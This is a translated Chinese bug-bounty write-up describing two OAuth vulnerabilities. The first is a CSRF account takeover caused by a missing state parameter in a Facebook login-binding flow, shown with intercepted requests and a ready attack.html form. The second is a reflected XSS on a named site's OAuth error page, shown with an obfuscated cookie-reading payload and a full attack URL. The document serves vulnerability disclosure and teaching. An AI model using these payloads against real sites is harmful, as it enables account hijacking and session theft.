两个Oauth协议相关漏洞细节
一,Oauth错误配置导致的CSRF
大家好,我是Jackson。这是我的第一篇安全漏洞文章,我是在考试复习期间发现的这个漏洞。首先还是要感谢Midhun S给我“提供”的这个站。让我们开始吧!
侦察
当我一开始渗透测试时,并没有花太多时间在侦察上,但后来我意识到侦察的重要性,并且通过侦察和一些低级漏洞对Web应用有了更深刻的理解。当我得到一个目标时,我总是先从一些简单的谷歌搜索开始,了解目标使用了什么Web技术。然后再从aquatone子域爆破工具开始,得到了一些子域,最后再通过一些目录爆破和漏洞扫描工具来批量测试。
漏洞点
抱歉,伙计们,我现在还不能透露有关公司的名字,所以我们可以称之为redacted.com
。首先,让我们进行公司门户网站https://www.redacted.com
,该网站看起来很普通,没有什么吸引人的地方,于是我进入注册页面,图片如下。
我使用临时电子邮箱创建了一个帐户,并成功用这个电子邮箱登录到我的帐户。同时,你可以将这个redacted.com
帐户链接到facebook或google帐户。这样你就可以通过Oauth功能用其他网站的帐户登录到redacted.com
。
什么是OAuth????
OAuth是一个强大的授权协议,为用户资源的授权定义了一个开放又简单的标准。OAuth 2.0更是被(如SaaS平台)广泛用于第三方在不接触你的帐户信息情况下获取你的数据。例如,你在Google上的联系人列表、Facebook上的好友列表等。
所以当我看到和Oauth相关的页面时,我打开了burpsuite,并点击了facebook图标,将我的redacted帐户链接到facebook帐户,然后我就截获了如下请求和响应。
第一个请求如下:
GET /v3.1/dialog/oauth?response_type=code&redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Ffacebook%2Fcallback&scope=email%2Cpublic_profile&client_id=00000000000 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://redacted.com/profile
Cookie: fr=0rqajcCy4gEh2nJvS.redactedPv2OYVcelE.AWVp7-tG; sb=OQwFXNTRCDFUcookieLIw0; datr=OQwFXBW2scookieSe4q; wd=1366XXXXX657; locale=en_GB; c_u
Connection: close
当我看到这个请求时,我发现它似乎没有状态参数,这意味着它可能易受CSRF攻击。现在,我可以看到一个弹出的Facebook身份验证页面。然后我成功地通过了认证,截获了Facebook的回调请求……而当我看到这个回调请求时,它似乎还是没有状态参数,所以就让我们尝试下CSRF攻击吧。请求如下。
GET /auth/facebook/callback?code=AQCXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.facebook.com
Cookie: __cfduid=d27690xxxxxxxxxxxxxxxxxxxxxxxxxxx471; __adroll_fpc=074645xxxxxxxxxxxxxxxxxxxxxxxx2e9; __ar_v4=JYUExxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf-cb8d-4c87–9bc1–8478a3f6ed68=session_a0xxxxxxxxxxxxxxxxxxb9e6; _fbp=fb.1.154xxxxxxxxx719436
Connection: close
根据以上请求,我创建了一个名为attack.html的CSRF攻击页面。
<html>
<body>
<sc ript>history.pushState(‘’, ‘’, ‘/’)</sc ript>
<form action=”https://redacted.com/auth/facebook/callback">
<input type=”hidden” name=”code” value=”AxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxY” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
接着我创建了另一个redacted.com帐户来测试这个漏洞。我在另一个浏览器上登录这个测试帐户,打开了这个CSRF攻击页面,然后单击提交按钮……是的!攻击成功!
我的facebook帐户成功和受害者的redacted帐户绑定到一起。
当我注销测试redacted.com帐户,并尝试用我的facebook帐户再次登录时,也成功了!所以我可以利用这个CSRF漏洞接管任何受害者帐户,这是一个因为简单的Oauth错误配置而导致的帐户接管。
谢谢你的阅读
二,Oauth过滤不严导致的XSS
近期,Hackerone也公布了一个了Oauth的XSS漏洞,奖金为250美元,其中涉及的网站号称是印度的大众点评--zomato,其在2018年还获得了阿里巴巴的投资。
漏洞域名:auth2.zomato.com
漏洞URL:https://auth2.zomato.com/oauth2/fallbacks/error?error=xss&error_desc ription=xss&error_hint=xss
而且该漏洞URL的所有可用参数都可插入XSS语句
payload:
<marquee loop%3d1 width%3d0 on finish%3dco\u006efirm(document.cookie)>XSS<%2fmarquee>
只需将如下URL复制粘到你的Firefox浏览器,你就可以看到一个弹框。
https://auth2.zomato.com/oauth2/fallbacks/error?error=xss&error_desc ription=xsssy&error_hint=%3Cmarquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E
POC:
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a
https://hackerone.com/reports/456333
最新评论